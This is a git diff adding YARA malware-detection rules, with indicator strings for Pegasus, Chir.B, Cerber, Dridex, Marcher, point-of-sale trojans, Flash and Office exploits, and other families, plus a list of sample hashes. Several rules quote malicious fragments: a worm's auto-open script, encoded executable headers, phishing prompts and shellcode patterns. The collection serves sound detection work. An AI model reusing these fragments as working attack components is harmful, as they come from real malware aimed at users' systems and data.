+        $sinterval_1= "StartInterval" ascii fullword
+        $sinterval_2= "RunAtLoad" ascii fullword
+
+        //<plist
+        $e_1 = /(AHAAbABpAHMAdA|cGxpc3|PABwAGwAaQBzAHQA|PHBsaXN0|wAcABsAGkAcwB0A|xwbGlzd)/ ascii
+
+        //ProgramArguments
+        $e_2 =/(AAcgBvAGcAcgBhAG0AQQByAGcAdQBtAGUAbgB0AHMA|AHIAbwBnAHIAYQBtAEEAcgBnAHUAbQBlAG4AdABzA|Byb2dyYW1Bcmd1bWVudH|cm9ncmFtQXJndW1lbnRz|UAByAG8AZwByAGEAbQBBAHIAZwB1AG0AZQBuAHQAcw|UHJvZ3JhbUFyZ3VtZW50c)/ ascii
+        //Library
+        $e_4 = /(AGkAYgByAGEAcgB5A|aWJyYXJ5|TABpAGIAcgBhAHIAeQ|TGlicmFye|wAaQBiAHIAYQByAHkA|xpYnJhcn)/ ascii
+
+        //StartInterval
+        $einterval_a = /(AHQAYQByAHQASQBuAHQAZQByAHYAYQBsA|dGFydEludGVydmFs|MAdABhAHIAdABJAG4AdABlAHIAdgBhAGwA|N0YXJ0SW50ZXJ2YW|U3RhcnRJbnRlcnZhb|UwB0AGEAcgB0AEkAbgB0AGUAcgB2AGEAbA)/ ascii
+        $einterval_b = /(AHUAbgBBAHQATABvAGEAZA|dW5BdExvYW|IAdQBuAEEAdABMAG8AYQBkA|J1bkF0TG9hZ|UgB1AG4AQQB0AEwAbwBhAGQA|UnVuQXRMb2Fk)/ ascii
+
+    condition:
+        $h1 at 0
+        and filesize < 120KB
+        and 
+        (
+            (all of ($s_*) and 1 of ($sinterval*))
+            or
+            (all of ($e_*) and 1 of ($einterval*))
+        )
+
+}
diff --git a/yara-mikesxrs/one offs/Pegasus.yar b/yara-mikesxrs/one offs/Pegasus.yar
new file mode 100644
index 0000000..0a31a2f
--- /dev/null
+++ b/yara-mikesxrs/one offs/Pegasus.yar	
@@ -0,0 +1,24 @@
+/*
+author: ben actis
+notes: rough attempt to find more samples on vt via vt hunting.
+       * special thanks to https://twitter.com/iMokhles/status/769362814490279936 
+       * for reversing and posting screesnshot on twitter while i was on vaction without ios device
+
+       * lookout i love you guys, please share hashes :)
+
+       * jcase has awesome bbq
+
+*/
+rule iOSPegasusDetected
+{
+    strings:
+        $a01 = "/private/var/root/test.app/data"
+        $a02 = "/private/var/root/test.app/d/"
+        $a03 = "/private/var/root/test.app"
+        $a04 = "/private/var/tmp/crw"
+        $a05 = "/private/var/tmp/cr"
+        $a06 = "/private/var/tmp/st_data/"
+
+    condition:
+        any of them
+}
diff --git a/yara-mikesxrs/one offs/Qadars_DGA.yar b/yara-mikesxrs/one offs/Qadars_DGA.yar
new file mode 100644
index 0000000..ea0d331
--- /dev/null
+++ b/yara-mikesxrs/one offs/Qadars_DGA.yar	
@@ -0,0 +1,10 @@
+rule Qadars_DGA
+ {
+     meta:
+        author = "PhishLabs"
+        reference = "https://info.phishlabs.com/blog/dissecting-the-qadars-banking-trojan"
+     strings:
+         $dga_function = { 69 C9 93 B1 39 3E BE F1 E1 00 00 2B F1 81 E6 FF FF FF 7F B8 56 55 55 55 F7 EE 8B C2 C1 E8 1F 03 C2 8D 04 40 }
+      condition:
+         $dga_function
+ }
diff --git a/yara-mikesxrs/one offs/Shellphish.yar b/yara-mikesxrs/one offs/Shellphish.yar
new file mode 100644
index 0000000..2f76c49
--- /dev/null
+++ b/yara-mikesxrs/one offs/Shellphish.yar	
@@ -0,0 +1,12 @@
+rule ShellPhish 
+{
+ meta:
+ reference = "https://windowsir.blogspot.com/2017/10/updates.html"
+ strings:
+        $birth_node = { 08 D4 0C 47 F8 73 C2 }
+        $vol_id        = { 7E E4 BC 9C }
+        $sid             = "2287413414-4262531481-1086768478" wide ascii
+  
+ condition:
+  all of them
+}
diff --git a/yara-mikesxrs/one offs/W32ChirB.yar b/yara-mikesxrs/one offs/W32ChirB.yar
new file mode 100644
index 0000000..84b79cb
--- /dev/null
+++ b/yara-mikesxrs/one offs/W32ChirB.yar	
@@ -0,0 +1,90 @@
+import "pe"
+
+rule W32ChirB_eml {
+   meta:
+      description = "readme.eml - Chir.B"
+      author = "wit0k"
+      reference = ""
+      date = "2018-08-30"
+      hash1 = "d41a5c4fe5171cbfe26ef04da347188d1c22e34d2d4cdffd833f38d61e3b6ec8"
+   strings:
+      $s4 = "<html><HEAD></HEAD><body bgColor=3D#ffffff><iframe src=3Dcid:THE-CID height=3D0 width=3D0></iframe></body></html>" fullword ascii
+      $s6 = "UAToCwAAAGCJGIlQBPzzpGHP+maPAGaPQAaLdQiLfQyLTRDM+2HJwgwA6cgAAABgi0UIagBQUGoA/5aQAAAAYcnCBAAAAAAAAAAAAMMAAAAAAAAAAAAAAAAAAAA=" fullword ascii
+      $s7 = /FROM: .{1,20}@yahoo\.com/ fullword ascii nocase
+      $s8 = /Content-Type: audio\/x-wav; name=.{1,20}.exe/ fullword ascii nocase
+      $s11 = "dmFTY3JpcHQiPndpbmRvdy5vcGVuKCJyZWFkbWUuZW1sIiwgbnVsbCwicmVzaXphYmxlPW5vLHRvcD02MDAwLGxlZnQ9NjAwMCIpPC9zY3JpcHQ+PC9odG1sPgBYanhQ" ascii /* base64 encoded string 'vaScript">window.open("readme.eml", null,"resizable=no,top=6000,left=6000")</script></html>...' */
+      $s18 = "TVpQAAIAAAAEAA8A//8AALgAAAAAAAAAQAAaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAALoQAA4ftAnNIbgBTM0hkJBUaGlzIHByb2dyYW0gbXVz" ascii /* base64 encoded string 'MZP...This program mus' */
+   condition:
+      ( uint16(0) == 0x20ce and filesize < 120KB and ( 3 of them )
+      ) or ( all of them )
+}
+
+rule W32ChirB_pe_infector {
+   meta:
+      description = "pp.exe - Chir.B"
+      author = "wit0k"
+      reference = ""
+      date = "2018-08-31"
+      hash1 = "d2f46265c39c21bc544b9ab4fad708bae7f33defff32f280806d48e3eb31e510"
+   strings:
+      $s1 = "<html><HEAD></HEAD><body bgColor=3D#ffffff><iframe src=3Dcid:THE-CID height=3D0 width=3D0></iframe></body></html>" fullword ascii
+      $s2 = "<html><script language=\"JavaScript\">window.open(\"readme.eml\", null,\"resizable=no,top=6000,left=6000\")</script></html>" fullword ascii
+      $s3 = /FROM: .{1,20}@yahoo\.com/ fullword ascii nocase
+      $s4 = /Content-Type: audio\/x-wav; name=.{1,20}.exe/ fullword ascii nocase
+      $s5 = "\\runouce.exe" fullword ascii
+      $s6 = "Net Send * My god! Some one killed ChineseHacker-2 Monitor" fullword ascii
+      $s7 = /readme\.eml/ fullword ascii
+      $s8 = "Runonce" fullword ascii
+      $s9 = "SUBJECT: %s is comming!" fullword ascii
+      $s10 = /MAIL FROM: .{1,20}@btamail\.net.\cn/ fullword ascii
+      $s11 = "Content-id: THE-CID" fullword ascii
+      $s12 = "btamail.net.cn" fullword ascii
+      $ds1 = "This program cannot be run in DOS mode"
+   condition:
+      (uint16(0) == 0x5a4d or uint16(0) == 0x4d5a ) and ( 8 of them ) and (filesize < 120KB) and not $ds1
+}
+
+rule W32ChirB_infected_pe {
+   meta:
+      description = "pp.exe appended to an exe"
+      author = "wit0k"
+      reference = ""
+      date = "2018-08-31"
+      hash1 = "6ca9ff59325d13f1dd69855d88633814c685bcf0db44415888a3ceeeab731493"
+   strings:
+      $s1 = "<html><HEAD></HEAD><body bgColor=3D#ffffff><iframe src=3Dcid:THE-CID height=3D0 width=3D0></iframe></body></html>" fullword ascii
+      $s2 = "<html><script language=\"JavaScript\">window.open(\"readme.eml\", null,\"resizable=no,top=6000,left=6000\")</script></html>" fullword ascii
+      $s3 = /FROM: .{1,20}@yahoo\.com/ fullword ascii nocase
+      $s4 = /Content-Type: audio\/x-wav; name=.{1,20}.exe/ fullword ascii nocase
+      $s5 = "\\runouce.exe" fullword ascii
+      $s6 = "Net Send * My god! Some one killed ChineseHacker-2 Monitor" fullword ascii
+      $s7 = "readme.eml" fullword ascii
+      $s8 = "Runonce" fullword ascii
+      $s9 = "SUBJECT: %s is comming!" fullword ascii
+      $s10 = /MAIL FROM: .{1,20}@btamail\.net.\cn/ fullword ascii
+      $s11 = "Content-id: THE-CID" fullword ascii
+      $s12 = "btamail.net.cn" fullword ascii
+      $s13 = "ChineseHacker-2" ascii wide
+      $b14 = { 60 E8 E6 19 00 00 8B 74 24 20 E8 08 00 00 00 61 } /* Begining of injected code */
+      $ds1 = "This program cannot be run in DOS mode"
+   condition:
+      ( uint16(0) == 0xe860 and
+         ( 8 of them ) and  ( $b14 at pe.entry_point ) and $ds1
+      ) or ( all of them )
+}
+
+
+rule W32ChirB_LastResort
+{
+    meta:
+        Description = ""
+
+    strings:
+        $a = "runouce.exe" ascii wide
+        $b = /.{1,20}@btamail.net.cn/ fullword ascii nocase
+        $c = "ChineseHacker-2" ascii wide
+
+    condition:
+        all of them
+}
+
diff --git a/yara-mikesxrs/one offs/XorDDoS.yar b/yara-mikesxrs/one offs/XorDDoS.yar
new file mode 100644
index 0000000..243158b
--- /dev/null
+++ b/yara-mikesxrs/one offs/XorDDoS.yar	
@@ -0,0 +1,17 @@
+rule XorDDoSv1
+{
+meta:
+	author = "Akamai SIRT"
+	description = "Rule to detect XorDDoS infection"
+	reference = "https://www.akamai.com/us/en/multimedia/documents/state-of-the-internet/fast-dns-xor-botnet-case-study.pdf"
+strings:
+	$st0 = "BB2FA36AAA9541F0"
+	$st1 = "md5="
+	$st2 = "denyip="
+	$st3 = "filename="
+	$st4 = "rmfile="
+	$st5 = "exec_packet"
+	$st6 = "build_iphdr"
+condition:
+	all of them
+}
diff --git a/yara-mikesxrs/one offs/ammyy_cerber3.yar b/yara-mikesxrs/one offs/ammyy_cerber3.yar
new file mode 100644
index 0000000..27f4607
--- /dev/null
+++ b/yara-mikesxrs/one offs/ammyy_cerber3.yar	
@@ -0,0 +1,21 @@
+rule ammyy_cerber3 {
+	meta:
+		description = "Rule to detect Ammyy Admin / Cerber 3.0 Ransomware"
+		author = "Rich Walchuck"
+		source = "AA_v3.5.exe"
+		md5 = "54d07ec77e3daaf32b2ba400f34dd370"
+		sha1 = "3a99641ba00047e1be23dfae4fcf6242b8b8eb10"
+		sha256 = "99b84137b5b8b3c522414e332526785e506ed2dbe557eafc40a7bcf47b623d88"
+		date = "09/28/2016"
+	strings:
+		$s0 = "mailto:support@ammy.com" fullword ascii
+		$s1 = "@$&%04\\Uninstall.exe" fullword ascii
+		$s2 = "@$&%05\\encrypted.exe" fullword ascii
+		$s3 = "http://www.ammy.com/" fullword ascii
+		$s4 = "@$&%05\\AA_v3.exe" fullword ascii
+		$s5 = "ammy 1.00 - Smart Install Maker" fullword ascii
+		$s6 = "ammy 1.00 Installation" fullword wide
+		$s7 = "Ammy" fullword wide
+	condition:
+		all of them
+}
diff --git a/yara-mikesxrs/one offs/crime_ole_loadswf_cve_2018_4878.yar b/yara-mikesxrs/one offs/crime_ole_loadswf_cve_2018_4878.yar
new file mode 100644
index 0000000..ff526eb
--- /dev/null
+++ b/yara-mikesxrs/one offs/crime_ole_loadswf_cve_2018_4878.yar	
@@ -0,0 +1,35 @@
+rule crime_ole_loadswf_cve_2018_4878
+{
+meta:
+description = "Detects CVE-2018-4878"
+vuln_type = "Remote Code Execution"
+vuln_impact = "Use-after-free"
+affected_versions = "Adobe Flash 28.0.0.137 and earlier versions"
+mitigation0 = "Implement Protected View for Office documents"
+mitigation1 = "Disable Adobe Flash"
+weaponization = "Embedded in Microsoft Office first payloads"
+actor = "Purported North Korean actors"
+reference = "hxxps://www[.]krcert[.]or[.kr/data/secNoticeView.do?bulletin_writing_sequence=26998"
+report = "https://www.flashpoint-intel.com/blog/targeted-attacks-south-korean-entities/"
+author = "Vitali Kremez, Flashpoint"
+version = "1.1"
+
+strings:
+// EMBEDDED FLASH OBJECT BIN HEADER
+$header = "rdf:RDF" wide ascii
+
+// OBJECT APPLICATION TYPE TITLE
+$title = "Adobe Flex" wide ascii
+
+// PDB PATH 
+$pdb = "F:\\work\\flash\\obfuscation\\loadswf\\src" wide ascii
+
+// LOADER STRINGS
+$s0 = "URLRequest" wide ascii
+$s1 = "URLLoader" wide ascii
+$s2 = "loadswf" wide ascii
+$s3 = "myUrlReqest" wide ascii
+
+condition:
+all of ($header*) and all of ($title*) and 3 of ($s*) or all of ($pdb*) and all of ($header*) and 1 of ($s*)
+}
diff --git a/yara-mikesxrs/one offs/crime_win32_gratefulpos_trojan.yar b/yara-mikesxrs/one offs/crime_win32_gratefulpos_trojan.yar
new file mode 100644
index 0000000..bfd887a
--- /dev/null
+++ b/yara-mikesxrs/one offs/crime_win32_gratefulpos_trojan.yar	
@@ -0,0 +1,30 @@
+rule crime_win32_gratefulpos_trojan {
+        meta:
+                description = "GratefulPOS malware variant"
+                author = "@VK_Intel"
+                reference = "Detects GratefulPOS"
+                reference = "http://www.vkremez.com/2017/12/lets-learn-reversing-grateful-point-of.html"
+                date = "2017-12-10"
+        strings:
+                $s0 = "conhost.exe" fullword ascii
+                $s1 = "del logmeinlauncher.exe" fullword ascii
+                $s2 = "Chrome.exe" fullword ascii
+                $s3 = "taskmgr.exe" fullword ascii
+                $s4 = "firefox.exe" fullword ascii
+                $s5 = "logmeinlauncher.exe stop" fullword ascii
+                $s6 = "ping 1.1.1.1 -n 1 -w 3000 > nul" fullword ascii
+                $s7 = "Ymscoree.dll" fullword wide
+                $s8 = "LogMeInHamachi Process Launcher" fullword ascii
+                $s9 = "sched.exe" fullword ascii
+                $s10 = "wininit.exe" fullword ascii
+                $s11 = "wmiprvse.exe" fullword ascii
+                $s12 = "RegSrvc.exe" fullword ascii
+                $s13 = "mdm.exe" fullword ascii
+                $s14 = "GET /index.php HTTP/1.0" fullword ascii
+                $s15 = "LogMeIn Hamachi Launcher" fullword ascii
+                $s16 = "logmein.bid" fullword ascii
+                $s17 = "del sd.bat" fullword ascii
+                $s18 = "sd.bat" fullword ascii
+        condition:
+                uint16(0) == 0x5a4d and filesize < 500KB and 10 of them
+}
diff --git a/yara-mikesxrs/one offs/dridex.yar b/yara-mikesxrs/one offs/dridex.yar
new file mode 100644
index 0000000..10d998a
--- /dev/null
+++ b/yara-mikesxrs/one offs/dridex.yar	
@@ -0,0 +1,17 @@
+rule dridex : dridex
+{
+	meta:
+		description = “Dridex Malware Indicators�
+		author = “Kunal Makwana�
+		date = “2016/04/03�
+		thread_level = 4
+		in_the_wild = true
+
+	strings:
+		$domain = “g-t-c-co.uk� nocase
+		$ip = “185.11.240.14� wide ascii
+		$mail = “ali73_2008027@yahoo.co.uk� wide ascii
+
+	condition:
+		$domain or $ip or $mail
+}
diff --git a/yara-mikesxrs/one offs/fastposloader.yar b/yara-mikesxrs/one offs/fastposloader.yar
new file mode 100644
index 0000000..74e8fd5
--- /dev/null
+++ b/yara-mikesxrs/one offs/fastposloader.yar	
@@ -0,0 +1,33 @@
+private rule IsPE
+{
+  condition:
+     // MZ signature at offset 0 and ...
+     uint16(0) == 0x5A4D and
+     // ... PE signature at offset stored in MZ header at 0x3C
+     uint32(uint32(0x3C)) == 0x00004550
+}
+
+
+
+
+rule fastposloader: posmalware{
+
+meta:
+	author = "Nikolaos Pantazopoulos"
+	date = "20/11/2016"
+	description = "FastPos malware"
+
+strings:
+
+	$string1 = "keylogaaa9logbbb7"
+	$string2 = "\\_hookRecvSrvc\\Release\\_hookRecvSrvc.pdb"
+	$string3 = "\\_hookProc\\Release\\_hookProc.pdb"
+	$string4 = "statuslog&log=procinstalled"
+	$string5 = "\\_hookKlg\\Release\\_hookKlg.pdb"
+	$string6 = "CLAXCSSPLS"
+	$string7 = "statuslog&log=kbinjected"
+	$string8 = "\\_hookLoader\\Release\\_hookLoader.pdb"
+ 	$string9 = "\\\\.\\mailslot\\trackslot"
+condition:
+	all of($string*) and IsPE
+}
diff --git a/yara-mikesxrs/one offs/marcher.yar b/yara-mikesxrs/one offs/marcher.yar
new file mode 100644
index 0000000..1d6a7fb
--- /dev/null
+++ b/yara-mikesxrs/one offs/marcher.yar	
@@ -0,0 +1,18 @@
+rule marcher
+{
+	meta:
+		description = "This rule detects a variant of Marcher"
+		sample = "6c15fcdcee665dd38a24931da27b1e16c0b15de832d968bf5891d8e389a32d3e"
+		author = "strobostro"
+
+	strings:
+		$a = "com.note.donote" wide
+		$b = "Adobe Flash Player" wide
+		$c = "Click on Activate button to secure your application" wide
+		$d = "Please submit your Verifed buy MasterCard Password" wide
+		$e = "Please submit your Verifed buy Visa Password" wide
+
+	condition:
+		$a and any of ($b,$c,$d,$e)
+
+}
diff --git a/yara-mikesxrs/one offs/mwi_document.yar b/yara-mikesxrs/one offs/mwi_document.yar
new file mode 100644
index 0000000..648dcd5
--- /dev/null
+++ b/yara-mikesxrs/one offs/mwi_document.yar	
@@ -0,0 +1,14 @@
+rule mwi_document : exploitdoc
+{
+    meta:
+        description = "MWI generated document"
+        reference = "https://blog.0x3a.com/post/117760824504/analysis-of-a-microsoft-word-intruder-sample"
+ 
+    strings:
+        $field_creation_tag = "{\\field{\\*\\fldinst { INCLUDEPICTURE"
+        $mwistat_url = ".php?id="
+        $field_closing_tag = "\\\\* MERGEFORMAT \\\\d}}{\\fldrslt}}"
+ 
+    condition:
+        all of them
+}
diff --git a/yara-mikesxrs/one offs/nettraveler.yar b/yara-mikesxrs/one offs/nettraveler.yar
new file mode 100644
index 0000000..93bd2db
--- /dev/null
+++ b/yara-mikesxrs/one offs/nettraveler.yar	
@@ -0,0 +1,26 @@
+/*
+  Rules generated from APT Report NetTraveler
+  http://www.securelist.com/en/blog/8105/NetTraveler_is_Running_Red_Star_APT_Attacks_Compromise_High_Profile_Victims
+*/
+rule APT_Malware_BAT_Contents {
+        meta: description = "APT Malware Batch File Contents" threat_level = 10 score = 60
+        strings:
+        $a1 = ">nul del"
+        $a2 = "service.exe"
+        $a3 = "service.dll"
+        condition: all of them
+}
+rule APT_Malware_NetTraveler_Saker {
+        meta: description = "APT Malware NetTraveler Saker" threat_level = 10 score = 50
+        strings:
+        $a1 = "JustTempFun" fullword
+        $a2 = "servicemain" nocase fullword
+        condition: all of them
+}
+rule APT_Malware_NetTraveler_Trojan {
+        meta: description = "APT Malware NetTraveler Trojan" threat_level = 10 score = 65
+        strings:
+        $a1 = "Get From IEOption!"
+        $a2 = "Get From Reg!"
+        condition: all of them
+}
diff --git a/yara-mikesxrs/one offs/packager_cve2017_11882.yar b/yara-mikesxrs/one offs/packager_cve2017_11882.yar
new file mode 100644
index 0000000..11f9fa0
--- /dev/null
+++ b/yara-mikesxrs/one offs/packager_cve2017_11882.yar	
@@ -0,0 +1,16 @@
+rule packager_cve2017_11882 {
+    meta:
+        author = "Rich Warren"
+        description = "Attempts to exploit CVE-2017-11882 using Packager"
+        reference = "https://github.com/rxwx/CVE-2017-11882/blob/master/packager_exec_CVE-2017-11882.py"
+        score = 60
+    strings:
+	    $header_rtf = "{\\rt" nocase
+		
+        $font = { 30 61 30 31 30 38 35 61  35 61 }
+        $equation = { 45 71 75 61 74 69 6F 6E 2E 33 }
+        $package = { 50 61 63 6b 61 67 65 }
+        $header_and_shellcode = /03010[0,1][0-9a-fA-F]{108}00/ ascii nocase
+    condition:
+        all of them and $header_rtf at 0
+}
diff --git a/yara-mikesxrs/one offs/snake_uroburos.yar b/yara-mikesxrs/one offs/snake_uroburos.yar
new file mode 100644
index 0000000..53e6179
--- /dev/null
+++ b/yara-mikesxrs/one offs/snake_uroburos.yar	
@@ -0,0 +1,30 @@
+rule snake_packed
+{
+meta:
+author = "artemonsecurity"
+md5 = "f4f192004df1a4723cb9a8b4a9eb2fbf"
+reference = "http://artemonsecurity.com/uroburos.pdf"
+strings:
+/*
+25 FF FF FE FF and eax, 0FFFEFFFFh
+0F 22 C0 mov cr0, eax
+C0 E8 ?? ?? 00 00 call sub_????
+*/
+$cr0 = { 25 FF FF FE FF 0F 22 C0 E8 ?? ?? 00 00}
+condition:
+any of them
+}
+
+rule snake
+{
+meta:
+author = "artemonsecurity"
+md5 = "40aa66d9600d82e6c814b5307c137be5"
+reference = "http://artemonsecurity.com/uroburos.pdf"
+strings:
+$ModuleStart = { 00 4D 6F 64 75 6C 65 53 74 61 72 74 00 }
+$ModuleStop = { 00 4D 6F 64 75 6C 65 53 74 6F 70 00}
+$firefox = "firefox.exe"
+condition:
+all of them
+}
diff --git a/yara-mikesxrs/openanalysis/andromeda.yara b/yara-mikesxrs/openanalysis/andromeda.yara
new file mode 100644
index 0000000..a3cafb2
--- /dev/null
+++ b/yara-mikesxrs/openanalysis/andromeda.yara
@@ -0,0 +1,18 @@
+rule Andromeda
+{
+    meta:
+        desc = "Andromeda dropper"
+        family = "Andromeda"
+        author = "OpenAnalysis.net"
+
+    strings:
+        $a1 = "Referer: https://www.bing.com/"
+        $a2 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246"
+        $a3 = "/last.so"
+        $a4 = "30f5877bda910f27840f2e21461723f1"
+        $a5 = "Global\\msiff0x1"
+
+
+    condition:
+        $a5 or ($a1 and $a2 and $a3) or ($a2 and $a4) or ($a1 and $a4)
+}
diff --git a/yara-mikesxrs/optiv/autoit_scripting_pos_malware.yar b/yara-mikesxrs/optiv/autoit_scripting_pos_malware.yar
new file mode 100644
index 0000000..5e3772a
--- /dev/null
+++ b/yara-mikesxrs/optiv/autoit_scripting_pos_malware.yar
@@ -0,0 +1,65 @@
+rule wow32_exe
+{
+       meta:
+              description = "wow32-exe"
+              thread_level = 3
+              in_the_wild = true
+              reference = "https://www.optiv.com/blog/autoit-scripting-in-pos-malware"
+
+       strings:
+              $a = "avsupport@autoitscript.com" wide ascii
+              $b = "compiled AutoIt script" wide ascii
+
+       condition:
+              $a and $b
+}
+
+rule cdosys_dll
+{
+       meta:
+              description = "cdosys-dll"
+              thread_level = 3
+              in_the_wild = true
+              reference = "https://www.optiv.com/blog/autoit-scripting-in-pos-malware"
+
+       strings:
+              $a = "Microsoft CDO for Windows Library" wide ascii
+              $b = "CDOSYS.DLL" wide ascii
+
+       condition:
+              $a and $b
+}
+
+rule winhttp_exe
+{
+       meta:
+              description = "winhttp-exe"
+              thread_level = 3
+              in_the_wild = true
+              reference = "https://www.optiv.com/blog/autoit-scripting-in-pos-malware"
+
+       strings:
+              $a = "SeDebugPrivilege" wide ascii
+              $b = "SearchInject" wide ascii
+              $c = "Searcher.dll" wide ascii
+
+       condition:
+              $a and $b and $c
+}
+
+rule Searcher_dll
+{
+       meta:
+              description = "Searcher-dll"
+              thread_level = 3
+              in_the_wild = true
+              reference = "https://www.optiv.com/blog/autoit-scripting-in-pos-malware"
+
+       strings:
+              $a = "EncodePointer" wide ascii
+              $b = "CONOUT$" wide ascii
+              $c = "%s%i_%s_%i.log" wide ascii
+
+       condition:
+              $a and $b and $c
+}
diff --git a/yara-mikesxrs/paloalto/Palo_Alto_index.yara b/yara-mikesxrs/paloalto/Palo_Alto_index.yara
new file mode 100644
index 0000000..338a4e2
--- /dev/null
+++ b/yara-mikesxrs/paloalto/Palo_Alto_index.yara
@@ -0,0 +1,207 @@
+rule ce_enfal_cmstar_debug_msg
+
+{
+
+	meta:
+
+		author = "rfalcone"
+
+		description = "Detects the static debug strings within CMSTAR"
+
+		reference = "9b9cc7e2a2481b0472721e6b87f1eba4faf2d419d1e2c115a91ab7e7e6fc7f7c"
+
+		date = "5/10/2015"
+
+		link = "http://researchcenter.paloaltonetworks.com/2015/05/cmstar-downloader-lurid-and-enfals-new-cousin/"
+
+	strings:
+
+		$d1 = "EEE\x0d\x0a" fullword
+
+		$d2 = "TKE\x0d\x0a" fullword
+
+		$d3 = "VPE\x0d\x0a" fullword
+
+		$d4 = "VPS\x0d\x0a" fullword
+
+		$d5 = "WFSE\x0d\x0a" fullword
+
+		$d6 = "WFSS\x0d\x0a" fullword
+
+		$d7 = "CM**\x0d\x0a" fullword
+
+	condition:
+
+		uint16(0) == 0x5a4d and all of ($d*)
+
+}
+	
+
+rule hancitor_dropper : vb_win32api
+{
+	meta:
+		author = "Jeff White - jwhite@paloaltonetworks.com @noottrak"
+		date   = "18AUG2016"
+		hash1  = "03aef51be133425a0e5978ab2529890854ecf1b98a7cf8289c142a62de7acd1a"
+		hash2  = "4b3912077ef47515b2b74bc1f39de44ddd683a3a79f45c93777e49245f0e9848"
+		hash3  = "a78972ac6dee8c7292ae06783cfa1f918bacfe956595d30a0a8d99858ce94b5a"
+        reference = "https://github.com/pan-unit42/public_tools/tree/master/hancitor"
+		
+	strings:
+		$api_01 = { 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 } 		// VirtualAlloc
+		$api_02 = { 00 52 74 6C 4D 6F 76 65 4D 65 6D 6F 72 79 00 }		// RtlMoveMemory
+		$api_04 = { 00 43 61 6C 6C 57 69 6E 64 6F 77 50 72 6F 63 41 00 }	// CallWindowProcAi
+		$magic  = { 50 4F 4C 41 }						// POLA
+
+	condition:
+		uint32be(0) == 0xD0CF11E0 and all of ($api_*) and $magic
+}
+
+/*
+
+SAMPLES:
+
+000f7832251ae4ba41c42c46d83cbf13d0b2aed0c1f949fbe68b728fdcb2fada_S2.exe
+0002218f5c47ef709e390288e4268a02bb9d9087a996bb55d3a9c23d68a46760_S2.exe
+000fa485eda66fd4b5acd3fee4e2cdf5bd8e82a4968d27c202fe4747dfb57d00_S2.exe
+001451cfe7d492163ebcdaa2a3da9eb849ab0bd509cd969dd75965c88c19d5d4_S2.exe
+001627a8adaf2ea97b19dd4f6b915abf57bd41b4fe7af33d5f9f381a97d04a3d_S2.exe
+001856ba5da54bdf6cb87c61254af2ca9f936e83402e43579177bd0f4ac1f120_S2.exe
+0022f6c5ec68cabb34eee693cb23cb72a1099719b93f552cb9a09a99a0086afc_S2.exe
+002763b63f07529dd29c7840fed0e1bc68c974364b3aa64f7b6b225ca191f87f_S2.exe
+002ccf946b928eb123790aa8a6a4e1574827f6d387c661003df6e095d1d9137b_S2.exe
+002d93a56d6da0d4cd39c1d1bb36ebfb8bb493b0a204882120fc305c1b840caa_S2.exe
+0031be555860fee238837c1004d2f0ec353487ce6f9d0715106bb5670d965862_S2.exe
+0033f126d294bdda76e68d8dc994189a5d82e728e9e2cbe273789107bd855e06_S2.exe
+0039b33d9b86b02a4df6a605018a9749693ea3d871b187d9d1e1e0ec58e63f26_S2.exe
+003e0e981f9ec2f4ff844161dc2aca600df38965b9dd586532ede80f6367e90b_S2.exe
+0042539fb052745f1568b089bf86e41d393b981cdfc7201f7d8bdde145714fe2_S2.exe
+0043d7cf12ad497de3cc4739a435f1765ec4c65e05e1f21faecfe40cc9d4fc35_S2.exe
+004fa50455bac533cfa150660a6148ed20eb19a1169aa48991367eabb7494f1e_S2.exe
+00509f0c3436a02e09a49226169d28979d0b4eb42375cf2dbb1733cc67333b73_S2.exe
+0056fc1baedc78d43638f509d4a2ff617567cdffe4e0aa6a9892d80b076b2e4d_S2.exe
+0058b39843b0c37520a28a4d239de2e934a811159fe6a310e63b9fcf85ac2cf7_S2.exe
+005b3491673d414c65c0b2c8c351b672dd41a1679c97ffd7e4e0a6b1d00580a9_S2.exe
+005dee83851ee0db47b705b4ac6857bc4649e59c47418208d62ce3cc0c1f9a02_S2.exe
+006446a6303d85b5427139c6bc08c0f12e361d49cd7fa1ccc3e431d2fdd56d8c_S2.exe
+006495c7fb7388f0513a24d9d09bf9517d5a3fd05c0da7d39311f6e6cf0f8fe3_S2.exe
+0065a97402349fbbe5195effd6329ed89eb276ac3f728c7f8827d913d1296037_S2.exe
+006cc18d23ba7ec78ce5d3e78cde63157abd05b1e1908c93c35f99933637a6e7_S2.exe
+006cc87046164b41330918db95150f16227aa235865c4c95283b2d5fb9bd0d18_S2.exe
+008d53efab6e0be2f356ce86581414db9804d46170eea4b408b6f23690a35487_S2.exe
+009794dbe2aefed8ebd0d433c4b5c8931f6b3c1eaf0fbb34ad3fb247ae8dd0b5_S2.exe
+009b714c0a6731f2eadd04dab409172d34986526a298b7a1fe4f51152bf6773e_S2.exe
+00a1fb0d0a45ec998f65a458e55790e49944bb36b9398d7be495aa7ac7f27ac4_S2.exe
+00a24e6e5da9bea88f695e7b15621f418f683ce0b185ee67ba66e91bfe360e53_S2.exe
+00a90d131960bbad21a4f787f328d69b3af514f6e800cea606deb97aa0393e29_S2.exe
+00aae024d89ebdee5464f410fe588f31a1888f84eb68ee6dddb1ddf9b86012aa_S2.exe
+00ae14dc7815f74b083abc290d561d59fa8bc9717c22423fdec109bedc0de170_S2.exe
+00b088c257b7aab93e262445085337261a8b6d4369e9e48c6fe840c56971d8c2_S2.exe
+00b3c741c366252a8472046960b35636cf6c651a73d94d2810d14446dfae6db1_S2.exe
+00b46ed617c1d651dadd8b4abad8b644f30e49e0d12bc378dfb720f9b55b6277_S2.exe
+00b4f5d82ff5636d87821e2eb367c63bf83f478d4d4c480a3d9bc920bcd23f4a_S2.exe
+00b515429f4b16a501d7c97999eb884210dcf5b413b3896e11c03a926b31289f_S2.exe
+00bdb09cd6dfc308cc101aa009240ba612df781c62efb705f7b2ba9c198494d9_S2.exe
+00c4a1abded604c193671ac83935cf5e84bf272b5b574c26dfc814821d38155e_S2.exe
+00c7f1f0183fdb23eba1c5bfbe94518bbe22093bd8ae648c8c242229ca65c46a_S2.exe
+00c9f1276737f9ab4eb49c6c3a8c955cae7085fb7744ab0f0b90cc6b83eea377_S2.exe
+00d552f43b11e0017ff34576e2fbe5d47db4c5141ed0cc7cad1a6367a5161839_S2.exe
+00dc95924de13484980037630e916271fdf0568fbb77b2dbe0b622f526b403ba_S2.exe
